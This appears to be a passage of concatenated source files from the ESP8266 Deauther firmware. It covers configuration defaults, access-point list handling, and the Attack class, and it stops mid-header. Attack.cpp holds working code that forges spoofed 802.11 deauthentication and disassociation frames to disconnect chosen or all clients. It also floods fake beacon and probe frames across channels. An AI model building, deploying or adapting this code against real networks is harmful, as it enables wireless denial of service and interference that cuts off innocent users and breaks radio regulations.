defined(DEFAULT_ESP8266) || defined(NODEMCU) || defined(WEMOS_D1_MINI) || defined(DSTIKE_USB_DEAUTHER) || defined(DSTIKE_NODEMCU_07) || defined(DSTIKE_DEAUTHER) || defined(DSTIKE_DEAUTHER_V1) || defined(DSTIKE_DEAUTHER_V2) || defined(DSTIKE_DEAUTHER_V3) */ // ============================== // // ========= FALLBACK ========= // // ===== AUTOSAVE ===== // #ifndef AUTOSAVE_ENABLED #define AUTOSAVE_ENABLED true #endif /* ifndef ATTACK_ALL_CH */ #ifndef AUTOSAVE_TIME #define AUTOSAVE_TIME 60 #endif /* ifndef ATTACK_ALL_CH */ // ===== ATTACK ===== // #ifndef ATTACK_ALL_CH #define ATTACK_ALL_CH false #endif /* ifndef ATTACK_ALL_CH */ #ifndef RANDOM_TX #define RANDOM_TX false #endif /* ifndef RANDOM_TX */ #ifndef ATTACK_TIMEOUT #define ATTACK_TIMEOUT 600 #endif /* ifndef ATTACK_TIMEOUT */ #ifndef DEAUTHS_PER_TARGET #define DEAUTHS_PER_TARGET 25 #endif /* ifndef DEAUTHS_PER_TARGET */ #ifndef DEAUTH_REASON #define DEAUTH_REASON 1 #endif /* ifndef DEAUTH_REASON */ #ifndef BEACON_INTERVAL_100MS #define BEACON_INTERVAL_100MS true #endif /* ifndef BEACON_INTERVAL_100MS */ #ifndef PROBE_FRAMES_PER_SSID #define PROBE_FRAMES_PER_SSID 1 #endif /* ifndef PROBE_FRAMES_PER_SSID */ // ===== SNIFFER ===== // #ifndef CH_TIME #define CH_TIME 200 #endif /* ifndef CH_TIME */ #ifndef MIN_DEAUTH_FRAMES #define MIN_DEAUTH_FRAMES 3 #endif /* ifndef MIN_DEAUTH_FRAMES */ // ===== ACCESS POINT ===== // #ifndef AP_SSID #define AP_SSID "pwned" #endif /* ifndef AP_SSID */ #ifndef AP_PASSWD #define AP_PASSWD "deauther" #endif /* ifndef AP_PASSWD */ #ifndef AP_HIDDEN #define AP_HIDDEN false #endif /* ifndef AP_HIDDEN */ #ifndef AP_IP_ADDR #define AP_IP_ADDR { 192, 168, 4, 1 } #endif /* ifndef AP_IP_ADDR */ // ===== WEB INTERFACE ===== // #ifndef WEB_ENABLED #define WEB_ENABLED true #endif /* ifndef WEB_ENABLED */ #ifndef WEB_CAPTIVE_PORTAL #define WEB_CAPTIVE_PORTAL false #endif /* ifndef WEB_CAPTIVE_PORTAL */ #ifndef WEB_USE_SPIFFS #define WEB_USE_SPIFFS false #endif /* ifndef WEB_USE_SPIFFS */ #ifndef DEFAULT_LANG #define DEFAULT_LANG "en" #endif /* ifndef DEFAULT_LANG */ // ===== CLI ===== // #ifndef CLI_ENABLED #define CLI_ENABLED true #endif /* ifndef CLI_ENABLED */ #ifndef CLI_ECHO #define CLI_ECHO true #endif /* ifndef CLI_ECHO */ // =============== LED =============== // #if defined(LED_NEOPIXEL_RGB) || defined(LED_NEOPIXEL_GRB) #define LED_NEOPIXEL #endif /* if defined(LED_NEOPIXEL_RGB) || defined(LED_NEOPIXEL_GRB) */ #if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR) #define LED_DIGITAL #define USE_LED false #else // if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR) #define USE_LED true #endif // if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR) #ifndef LED_PIN_R #define LED_PIN_R 255 #endif /* ifndef LED_PIN_R */ #ifndef LED_PIN_G #define LED_PIN_G 255 #endif /* ifndef LED_PIN_G */ #ifndef LED_PIN_B #define LED_PIN_B 255 #endif /* ifndef LED_PIN_B */ #ifndef LED_ANODE #define LED_ANODE false #endif /* ifndef LED_ANODE */ #ifndef LED_MODE_OFF #define LED_MODE_OFF 0, 0, 0 #endif /* ifndef LED_MODE_OFF */ #ifndef LED_MODE_SCAN #define LED_MODE_SCAN 0, 0, 255 #endif /* ifndef LED_MODE_SCAN */ #ifndef LED_MODE_ATTACK #define LED_MODE_ATTACK 255, 0, 0 #endif /* ifndef LED_MODE_ATTACK */ #ifndef LED_MODE_IDLE #define LED_MODE_IDLE 0, 255, 0 #endif /* ifndef LED_MODE_IDLE */ #ifndef LED_MODE_BRIGHTNESS #define LED_MODE_BRIGHTNESS 10 #endif /* ifndef LED_MODE_BRIGHTNESS */ // =============== DISPLAY =============== // #ifndef DISPLAY_TIMEOUT #define DISPLAY_TIMEOUT 600 #endif /* ifndef DISPLAY_TIMEOUT */ #ifndef DISPLAY_TEXT #define DISPLAY_TEXT "" #endif /* ifndef DISPLAY_TEXT */ #ifndef FLIP_DIPLAY #define FLIP_DIPLAY false #endif /* ifndef FLIP_DIPLAY */ #if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) #define SSD1306_I2C #define USE_DISPLAY false #else /* if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) */ #define USE_DISPLAY true #endif /* if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) */ #ifndef I2C_ADDR #define I2C_ADDR 0x3C #endif /* ifndef I2C_ADDR */ #ifndef I2C_SDA #define I2C_SDA 5 #endif /* ifndef I2C_SDA */ #ifndef I2C_SCL #define I2C_SCL 4 #endif /* ifndef I2C_SCL */ #ifndef SPI_RES #define SPI_RES 5 #endif /* ifndef SPI_RES */ #ifndef SPI_DC #define SPI_DC 4 #endif /* ifndef SPI_DC */ #ifndef SPI_CS #define SPI_CS 15 #endif /* ifndef SPI_CS */ // =============== BUTTONS =============== // #ifndef BUTTON_UP #define BUTTON_UP 255 #endif // ifndef BUTTON_UP #ifndef BUTTON_DOWN #define BUTTON_DOWN 255 #endif // ifndef BUTTON_DOWN #ifndef BUTTON_A #define BUTTON_A 255 #endif // ifndef BUTTON_A #ifndef BUTTON_B #define BUTTON_B 255 #endif // ifndef BUTTON_B // ===== Reset ====== // #ifndef RESET_BUTTON #if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0 #define RESET_BUTTON 0 #else // if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0 #define RESET_BUTTON 255 #endif // if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0 #endif // ifndef RESET_BUTTON // ===== Web ===== // #ifndef WEB_IP_ADDR #define WEB_IP_ADDR (192, 168, 4, 1) #endif // ifndef WEB_IP_ADDR #ifndef WEB_URL #define WEB_URL "deauth.me" #endif // ifndef WEB_URL // ======== CONSTANTS ========== // // Do not change these values unless you know what you're doing! #define DEAUTHER_VERSION "2.6.1" #define DEAUTHER_VERSION_MAJOR 2 #define DEAUTHER_VERSION_MINOR 6 #define DEAUTHER_VERSION_REVISION 1 #define EEPROM_SIZE 4095 #define BOOT_COUNTER_ADDR 1 #define SETTINGS_ADDR 100 // ======== AVAILABLE SETTINGS ========== // /* // ===== ATTACK ===== // #define ATTACK_ALL_CH false #define RANDOM_TX false #define ATTACK_TIMEOUT 600 #define DEAUTHS_PER_TARGET 25 #define DEAUTH_REASON 1 #define BEACON_INTERVAL_100MS true #define PROBE_FRAMES_PER_SSID 1 // ====== SNIFFER ====== // #define CH_TIME 200 #define MIN_DEAUTH_FRAMES 3 // ===== ACCESS POINT ===== // #define AP_SSID "pwned" #define AP_PASSWD "deauther" #define AP_HIDDEN false #define AP_IP_ADDR {192, 168, 4, 1} // ===== WEB INTERFACE ===== // #define WEB_ENABLED true #define WEB_CAPTIVE_PORTAL false #define WEB_USE_SPIFFS false #define DEFAULT_LANG "en" // ===== CLI ===== // #define CLI_ENABLED true #define CLI_ECHO true // ===== LED ===== // #define USE_LED true #define LED_DIGITAL #define LED_RGB #define LED_NEOPIXEL #define LED_MY92 #define LED_ANODE false #define LED_PIN_R 16 #define LED_PIN_G 255 #define LED_PIN_B 2 #define LED_NEOPIXEL_RGB #define LED_NEOPIXEL_GRB #define LED_NUM 1 #define LED_NEOPIXEL_PIN 255 #define LED_MODE_OFF 0,0,0 #define LED_MODE_SCAN 0,0,255 #define LED_MODE_ATTACK 255,0,0 #define LED_MODE_IDLE 0,255,0 #define LED_MODE_BRIGHTNESS 10 #define LED_NUM 1 #define LED_MY92_DATA 4 #define LED_MY92_CLK 5 #define LED_MY92_CH_R 0 #define LED_MY92_CH_G 1 #define LED_MY92_CH_B 2 #define LED_MY92_CH_BRIGHTNESS 3 #define LED_MY92_MODEL MY92XX_MODEL_MY9291 #define LED_MY92_MODEL MY92XX_MODEL_MY9231 #define LED_DOTSTAR #define LED_NUM 1 #define LED_DOTSTAR_CLK 12 #define LED_DOTSTAR_DATA 13 // ===== DISPLAY ===== // #define USE_DISPLAY false #define DISPLAY_TIMEOUT 600 #define FLIP_DIPLAY false #define SSD1306_I2C #define SSD1306_SPI #define SH1106_I2C #define SH1106_SPI #define I2C_ADDR 0x3C #define I2C_SDA 5 #define I2C_SCL 4 #define SPI_RES 5 #define SPI_DC 4 #define SPI_CS 15 // ===== BUTTONS ===== // #define BUTTON_UP 255 #define BUTTON_DOWN 255 #define BUTTON_A 255 #define BUTTON_B 255 // ===== Reset ====== // #define RESET_BUTTON 5 // ===== Web ===== // #define WEB_IP_ADDR (192, 168, 4, 1) #define WEB_URL "deauth.me" */ // ========== ERROR CHECKS ========== // #if LED_MODE_BRIGHTNESS == 0 #error LED_MODE_BRIGHTNESS must not be zero! #endif /* if LED_MODE_BRIGHTNESS == 0 */ ================================================ FILE: esp8266_deauther/Accesspoints.cpp ================================================ /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ #include "Accesspoints.h" Accesspoints::Accesspoints() { list = new SimpleList; } void Accesspoints::sort() { list->setCompare([](AP& a, AP& b) -> int { if (WiFi.RSSI(a.id) > WiFi.RSSI(b.id)) return -1; if (WiFi.RSSI(a.id) == WiFi.RSSI(b.id)) return 0; return 1; }); list->sort(); changed = true; } void Accesspoints::sortAfterChannel() { list->setCompare([](AP& a, AP& b) -> int { if (WiFi.channel(a.id) < WiFi.channel(b.id)) return -1; if (WiFi.channel(a.id) == WiFi.channel(b.id)) return 0; return 1; }); list->sort(); changed = true; } void Accesspoints::add(uint8_t id, bool selected) { list->add(AP{ id, selected }); changed = true; } void Accesspoints::printAll() { prntln(AP_HEADER); int c = count(); if (c == 0) prntln(AP_LIST_EMPTY); else for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1); } void Accesspoints::printSelected() { prntln(AP_HEADER); int max = selected(); if (selected() == 0) { prntln(AP_NO_AP_SELECTED); return; } int c = count(); int j = 0; for (int i = 0; i < c && j < max; i++) { if (getSelected(i)) { print(i, j == 0, j == max - 1); j++; } } } void Accesspoints::print(int num) { print(num, true, true); } void Accesspoints::print(int num, bool header, bool footer) { if (!check(num)) return; if (header) { prntln(AP_TABLE_HEADER); prntln(AP_TABLE_DIVIDER); } prnt(leftRight(String(), (String)num, 2)); prnt(leftRight(String(SPACE) + getSSID(num), String(), 33)); prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17)); prnt(leftRight(String(SPACE), (String)getCh(num), 3)); prnt(leftRight(String(SPACE), (String)getRSSI(num), 5)); prnt(leftRight(String(SPACE), getEncStr(num), 5)); prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18)); prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9)); prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9)); if (footer) { prntln(AP_TABLE_DIVIDER); } } String Accesspoints::getSSID(int num) { if (!check(num)) return String(); if (getHidden(num)) { return str(AP_HIDDE_SSID); } else { String ssid = WiFi.SSID(getID(num)); ssid = ssid.substring(0, 32); ssid = fixUtf8(ssid); return ssid; } } String Accesspoints::getNameStr(int num) { if (!check(num)) return String(); return names.find(getMac(num)); } uint8_t Accesspoints::getCh(int num) { if (!check(num)) return 0; return WiFi.channel(getID(num)); } int Accesspoints::getRSSI(int num) { if (!check(num)) return 0; return WiFi.RSSI(getID(num)); } uint8_t Accesspoints::getEnc(int num) { if (!check(num)) return 0; return WiFi.encryptionType(getID(num)); } String Accesspoints::getEncStr(int num) { if (!check(num)) return String(); switch (getEnc(num)) { case ENC_TYPE_NONE: return String(DASH); break; case ENC_TYPE_WEP: return str(AP_WEP); break; case ENC_TYPE_TKIP: return str(AP_WPA); break; case ENC_TYPE_CCMP: return str(AP_WPA2); break; case ENC_TYPE_AUTO: return str(AP_AUTO); break; } return String(QUESTIONMARK); } String Accesspoints::getSelectedStr(int num) { return b2a(getSelected(num)); } uint8_t* Accesspoints::getMac(int num) { if (!check(num)) return 0; return WiFi.BSSID(getID(num)); } String Accesspoints::getMacStr(int num) { if (!check(num)) return String(); uint8_t* mac = getMac(num); return bytesToStr(mac, 6); } String Accesspoints::getVendorStr(int num) { if (!check(num)) return String(); return searchVendor(getMac(num)); } bool Accesspoints::getHidden(int num) { if (!check(num)) return false; return WiFi.isHidden(getID(num)); } bool Accesspoints::getSelected(int num) { if (!check(num)) return false; return list->get(num).selected; } uint8_t Accesspoints::getID(int num) { if (!check(num)) return -1; return list->get(num).id; } void Accesspoints::select(int num) { if (!check(num)) return; internal_select(num); prnt(AP_SELECTED); prntln(getSSID(num)); changed = true; } void Accesspoints::deselect(int num) { if (!check(num)) return; internal_deselect(num); prnt(AP_DESELECTED); prntln(getSSID(num)); changed = true; } void Accesspoints::remove(int num) { if (!check(num)) return; prnt(AP_REMOVED); prntln(getSSID(num)); internal_remove(num); changed = true; } void Accesspoints::select(String ssid) { for (int i = 0; i < list->size(); i++) { if (getSSID(i).equalsIgnoreCase(ssid)) select(i); } } void Accesspoints::deselect(String ssid) { for (int i = 0; i < list->size(); i++) { if (getSSID(i).equalsIgnoreCase(ssid)) deselect(i); } } void Accesspoints::remove(String ssid) { for (int i = 0; i < list->size(); i++) { if (getSSID(i).equalsIgnoreCase(ssid)) remove(i); } } void Accesspoints::selectAll() { for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true }); prntln(AP_SELECTED_ALL); changed = true; } void Accesspoints::deselectAll() { for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false }); prntln(AP_DESELECTED_ALL); changed = true; } void Accesspoints::removeAll() { while (count() > 0) internal_remove(0); prntln(AP_REMOVED_ALL); changed = true; } int Accesspoints::find(uint8_t id) { int s = list->size(); for (int i = 0; i < s; i++) { if (list->get(i).id == id) return i; } return -1; } int Accesspoints::count() { return list->size(); } int Accesspoints::selected() { int c = 0; for (int i = 0; i < list->size(); i++) c += list->get(i).selected; return c; } bool Accesspoints::check(int num) { if (internal_check(num)) return true; prnt(AP_NO_AP_ERROR); prntln((String)num); return false; } bool Accesspoints::internal_check(int num) { return num >= 0 && num < count(); } void Accesspoints::internal_select(int num) { list->replace(num, AP{ list->get(num).id, true }); } void Accesspoints::internal_deselect(int num) { list->replace(num, AP{ list->get(num).id, false }); } void Accesspoints::internal_remove(int num) { list->remove(num); } ================================================ FILE: esp8266_deauther/Accesspoints.h ================================================ /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ #pragma once #include "Arduino.h" #include extern "C" { #include "user_interface.h" } #include "language.h" #include "SimpleList.h" #include "Names.h" extern Names names; extern String searchVendor(uint8_t* mac); extern String leftRight(String a, String b, int len); extern String fixUtf8(String str); extern String bytesToStr(const uint8_t* b, uint32_t size); struct AP { uint8_t id; bool selected; }; class Accesspoints { public: Accesspoints(); void sort(); void sortAfterChannel(); void add(uint8_t id, bool selected); void print(int num); void print(int num, bool header, bool footer); void select(int num); void deselect(int num); void remove(int num); void select(String ssid); void deselect(String ssid); void remove(String ssid); void printAll(); void printSelected(); void selectAll(); void deselectAll(); void removeAll(); String getSSID(int num); String getNameStr(int num); String getEncStr(int num); String getMacStr(int num); String getVendorStr(int num); String getSelectedStr(int num); uint8_t getCh(int num); uint8_t getEnc(int num); uint8_t getID(int num); int getRSSI(int num); uint8_t* getMac(int num); bool getHidden(int num); bool getSelected(int num); int find(uint8_t id); int count(); int selected(); bool check(int num); bool changed = false; private: SimpleList* list; bool internal_check(int num); void internal_select(int num); void internal_deselect(int num); void internal_remove(int num); }; ================================================ FILE: esp8266_deauther/Attack.cpp ================================================ /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ #include "Attack.h" #include "settings.h" Attack::Attack() { getRandomMac(mac); if (settings::getAttackSettings().beacon_interval == INTERVAL_1S) { // 1s beacon interval beaconPacket[32] = 0xe8; beaconPacket[33] = 0x03; } else { // 100ms beacon interval beaconPacket[32] = 0x64; beaconPacket[33] = 0x00; } deauth.time = currentTime; beacon.time = currentTime; probe.time = currentTime; } void Attack::start() { stop(); prntln(A_START); attackTime = currentTime; attackStartTime = currentTime; accesspoints.sortAfterChannel(); stations.sortAfterChannel(); running = true; } void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) { Attack::beacon.active = beacon; Attack::deauth.active = deauth || deauthAll; Attack::deauthAll = deauthAll; Attack::probe.active = probe; Attack::output = output; Attack::timeout = timeout; // if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth && // scan.countSelected() > 0)){ if (beacon || probe || deauthAll || deauth) { start(); } else { prntln(A_NO_MODE_ERROR); accesspoints.sort(); stations.sort(); stop(); } } void Attack::stop() { if (running) { running = false; deauthPkts = 0; beaconPkts = 0; probePkts = 0; deauth.packetCounter = 0; beacon.packetCounter = 0; probe.packetCounter = 0; deauth.maxPkts = 0; beacon.maxPkts = 0; probe.maxPkts = 0; packetRate = 0; deauth.tc = 0; beacon.tc = 0; probe.tc = 0; deauth.active = false; beacon.active = false; probe.active = false; prntln(A_STOP); } } bool Attack::isRunning() { return running; } void Attack::updateCounter() { // stop when timeout is active and time is up if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) { prntln(A_TIMEOUT); stop(); return; } // deauth packets per second if (deauth.active) { if (deauthAll) deauth.maxPkts = settings::getAttackSettings().deauths_per_target * (accesspoints.count() + stations.count() * 2 - names.selected()); else deauth.maxPkts = settings::getAttackSettings().deauths_per_target * (accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations()); } else { deauth.maxPkts = 0; } // beacon packets per second if (beacon.active) { beacon.maxPkts = ssids.count(); if (settings::getAttackSettings().beacon_interval == INTERVAL_100MS) beacon.maxPkts *= 10; } else { beacon.maxPkts = 0; } // probe packets per second if (probe.active) probe.maxPkts = ssids.count() * settings::getAttackSettings().probe_frames_per_ssid; else probe.maxPkts = 0; // random transmission power if (settings::getAttackSettings().random_tx && (beacon.active || probe.active)) setOutputPower(random(21)); else setOutputPower(20.5f); // reset counters deauthPkts = deauth.packetCounter; beaconPkts = beacon.packetCounter; probePkts = probe.packetCounter; packetRate = tmpPacketRate; deauth.packetCounter = 0; beacon.packetCounter = 0; probe.packetCounter = 0; deauth.tc = 0; beacon.tc = 0; probe.tc = 0; tmpPacketRate = 0; } void Attack::status() { char s[120]; sprintf(s, str( A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts, probe.maxPkts); prnt(String(s)); } String Attack::getStatusJSON() { String json = String(OPEN_BRACKET); // [ json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) + String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String( beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String( probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], json += String(packetRate); // 0 json += CLOSE_BRACKET; // ] return json; } void Attack::update() { if (!running || scan.isScanning()) return; apCount = accesspoints.count(); stCount = stations.count(); nCount = names.count(); // run/update all attacks deauthUpdate(); deauthAllUpdate(); beaconUpdate(); probeUpdate(); // each second if (currentTime - attackTime > 1000) { attackTime = currentTime; // update time updateCounter(); if (output) status(); // status update getRandomMac(mac); // generate new random mac } } void Attack::deauthUpdate() { if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) { if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) { // APs if ((apCount > 0) && (deauth.tc < apCount)) { if (accesspoints.getSelected(deauth.tc)) { deauth.tc += deauthAP(deauth.tc); } else deauth.tc++; } // Stations else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) { if (stations.getSelected(deauth.tc - apCount)) { deauth.tc += deauthStation(deauth.tc - apCount); } else deauth.tc++; } // Names else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) { if (names.getSelected(deauth.tc - stCount - apCount)) { deauth.tc += deauthName(deauth.tc - stCount - apCount); } else deauth.tc++; } // reset counter if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0; } } } void Attack::deauthAllUpdate() { if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) { if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) { // APs if ((apCount > 0) && (deauth.tc < apCount)) { tmpID = names.findID(accesspoints.getMac(deauth.tc)); if (tmpID < 0) { deauth.tc += deauthAP(deauth.tc); } else if (!names.getSelected(tmpID)) { deauth.tc += deauthAP(deauth.tc); } else deauth.tc++; } // Stations else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) { tmpID = names.findID(stations.getMac(deauth.tc - apCount)); if (tmpID < 0) { deauth.tc += deauthStation(deauth.tc - apCount); } else if (!names.getSelected(tmpID)) { deauth.tc += deauthStation(deauth.tc - apCount); } else deauth.tc++; } // Names else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) { if (!names.getSelected(deauth.tc - apCount - stCount)) { deauth.tc += deauthName(deauth.tc - apCount - stCount); } else deauth.tc++; } // reset counter if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0; } } } void Attack::probeUpdate() { if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) { if (probe.time <= currentTime - (1000 / probe.maxPkts)) { if (settings::getAttackSettings().attack_all_ch) setWifiChannel(probe.tc % 11, true); probe.tc += sendProbe(probe.tc); if (probe.tc >= ssids.count()) probe.tc = 0; } } } void Attack::beaconUpdate() { if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) { if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) { beacon.tc += sendBeacon(beacon.tc); if (beacon.tc >= ssids.count()) beacon.tc = 0; } } } bool Attack::deauthStation(int num) { return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings::getAttackSettings().deauth_reason, stations.getCh(num)); } bool Attack::deauthAP(int num) { return deauthDevice(accesspoints.getMac(num), broadcast, settings::getAttackSettings().deauth_reason, accesspoints.getCh(num)); } bool Attack::deauthName(int num) { if (names.isStation(num)) { return deauthDevice(names.getBssid(num), names.getMac(num), settings::getAttackSettings().deauth_reason, names.getCh(num)); } else { return deauthDevice(names.getMac(num), broadcast, settings::getAttackSettings().deauth_reason, names.getCh(num)); } } bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) { if (!stMac) return false; // exit when station mac is null // Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging bool success = false; // build deauth packet packetSize = sizeof(deauthPacket); uint8_t deauthpkt[packetSize]; memcpy(deauthpkt, deauthPacket, packetSize); memcpy(&deauthpkt[4], stMac, 6); memcpy(&deauthpkt[10], apMac, 6); memcpy(&deauthpkt[16], apMac, 6); deauthpkt[24] = reason; // send deauth frame deauthpkt[0] = 0xc0; if (sendPacket(deauthpkt, packetSize, ch, true)) { success = true; deauth.packetCounter++; } // send disassociate frame uint8_t disassocpkt[packetSize]; memcpy(disassocpkt, deauthpkt, packetSize); disassocpkt[0] = 0xa0; if (sendPacket(disassocpkt, packetSize, ch, false)) { success = true; deauth.packetCounter++; } // send another packet, this time from the station to the accesspoint if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast // build deauth packet memcpy(&disassocpkt[4], apMac, 6); memcpy(&disassocpkt[10], stMac, 6); memcpy(&disassocpkt[16], stMac, 6); // send deauth frame disassocpkt[0] = 0xc0; if (sendPacket(disassocpkt, packetSize, ch, false)) { success = true; deauth.packetCounter++; } // send disassociate frame disassocpkt[0] = 0xa0; if (sendPacket(disassocpkt, packetSize, ch, false)) { success = true; deauth.packetCounter++; } } if (success) deauth.time = currentTime; return success; } bool Attack::sendBeacon(uint8_t tc) { if (settings::getAttackSettings().attack_all_ch) setWifiChannel(tc % 11, true); mac[5] = tc; return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc)); } bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) { packetSize = sizeof(beaconPacket); if (wpa2) { beaconPacket[34] = 0x31; } else { beaconPacket[34] = 0x21; packetSize -= 26; } int ssidLen = strlen(ssid); if (ssidLen > 32) ssidLen = 32; memcpy(&beaconPacket[10], mac, 6); memcpy(&beaconPacket[16], mac, 6); memcpy(&beaconPacket[38], ssid, ssidLen); beaconPacket[82] = ch; // ===== uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer tmpPacket[37] = ssidLen; // update SSID length byte memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer bool success = sendPacket(tmpPacket, tmpPacketSize, ch, false); if (success) { beacon.time = currentTime; beacon.packetCounter++; } delete[] tmpPacket; // free memory of allocated buffer return success; // ===== } bool Attack::sendProbe(uint8_t tc) { if (settings::getAttackSettings().attack_all_ch) setWifiChannel(tc % 11, true); mac[5] = tc; return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel); } bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) { packetSize = sizeof(probePacket); int ssidLen = strlen(ssid); if (ssidLen > 32) ssidLen = 32; memcpy(&probePacket[10], mac, 6); memcpy(&probePacket[26], ssid, ssidLen); if (sendPacket(probePacket, packetSize, ch, false)) { probe.time = currentTime; probe.packetCounter++; return true; } return false; } bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, bool force_ch) { // Serial.println(bytesToStr(packet, packetSize)); // set channel setWifiChannel(ch, force_ch); // sent out packet bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0; if (sent) ++tmpPacketRate; return sent; } void Attack::enableOutput() { output = true; prntln(A_ENABLED_OUTPUT); } void Attack::disableOutput() { output = false; prntln(A_DISABLED_OUTPUT); } uint32_t Attack::getDeauthPkts() { return deauthPkts; } uint32_t Attack::getBeaconPkts() { return beaconPkts; } uint32_t Attack::getProbePkts() { return probePkts; } uint32_t Attack::getDeauthMaxPkts() { return deauth.maxPkts; } uint32_t Attack::getBeaconMaxPkts() { return beacon.maxPkts; } uint32_t Attack::getProbeMaxPkts() { return probe.maxPkts; } uint32_t Attack::getPacketRate() { return packetRate; } ================================================ FILE: esp8266_deauther/Attack.h ================================================ /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ #pragma once #include "Arduino.h" #include extern "C" { #include "user_interface.h" } #include "language.h" #include "Accesspoints.h" #include "Stations.h" #include "SSIDs.h" #include "Scan.h" extern SSIDs ssids; extern Accesspoints accesspoints; extern Stations stations; extern Scan scan; extern uint8_t wifi_channel; extern uint8_t broadcast[6]; extern uint32_t currentTime; extern bool macBroadcast(uint8_t* mac); extern void getRandomMac(uint8_t* mac); extern void setOutputPower(float dBm); extern String macToStr(const uint8_t* mac); extern String bytesToStr(const uint8_t* b, uint32_t size); extern void setWifiChannel(uint8_t ch, bool force); extern bool writeFile(String path, String& buf); extern int8_t free80211_send(uint8_t* buffer, uint16_t len); class Attack { public: Attack(); void start(); void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout); void stop(); void update(); void enableOutput(); void disableOutput(); void status(); String getStatusJSON(); bool deauthAP(int num); bool deauthStation(int num); bool deauthName(int num); bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch); bool sendBeacon(uint8_t tc); bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2); bool sendProbe(uint8_t tc); bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch); bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, bool force_ch); bool isRunning(); uint32_t getDeauthPkts(); uint32_t getBeaconPkts(); uint32_t getProbePkts(); uint32_t getDeauthMaxPkts(); uint32_t getBeaconMaxPkts(); uint32_t getProbeMaxPkts(); uint32_t getPacketRate(); private: void deauthUpdate(); void deauthAllUpdate(); void beaconUpdate(); void probeUpdate(); void updateCounter(); bool running = false; bool output = true; struct AttackType { bool active = false; // if attack is activated uint16_t packetCounter = 0; // how many packets are sent per second uint16_t maxPkts = 0; // how 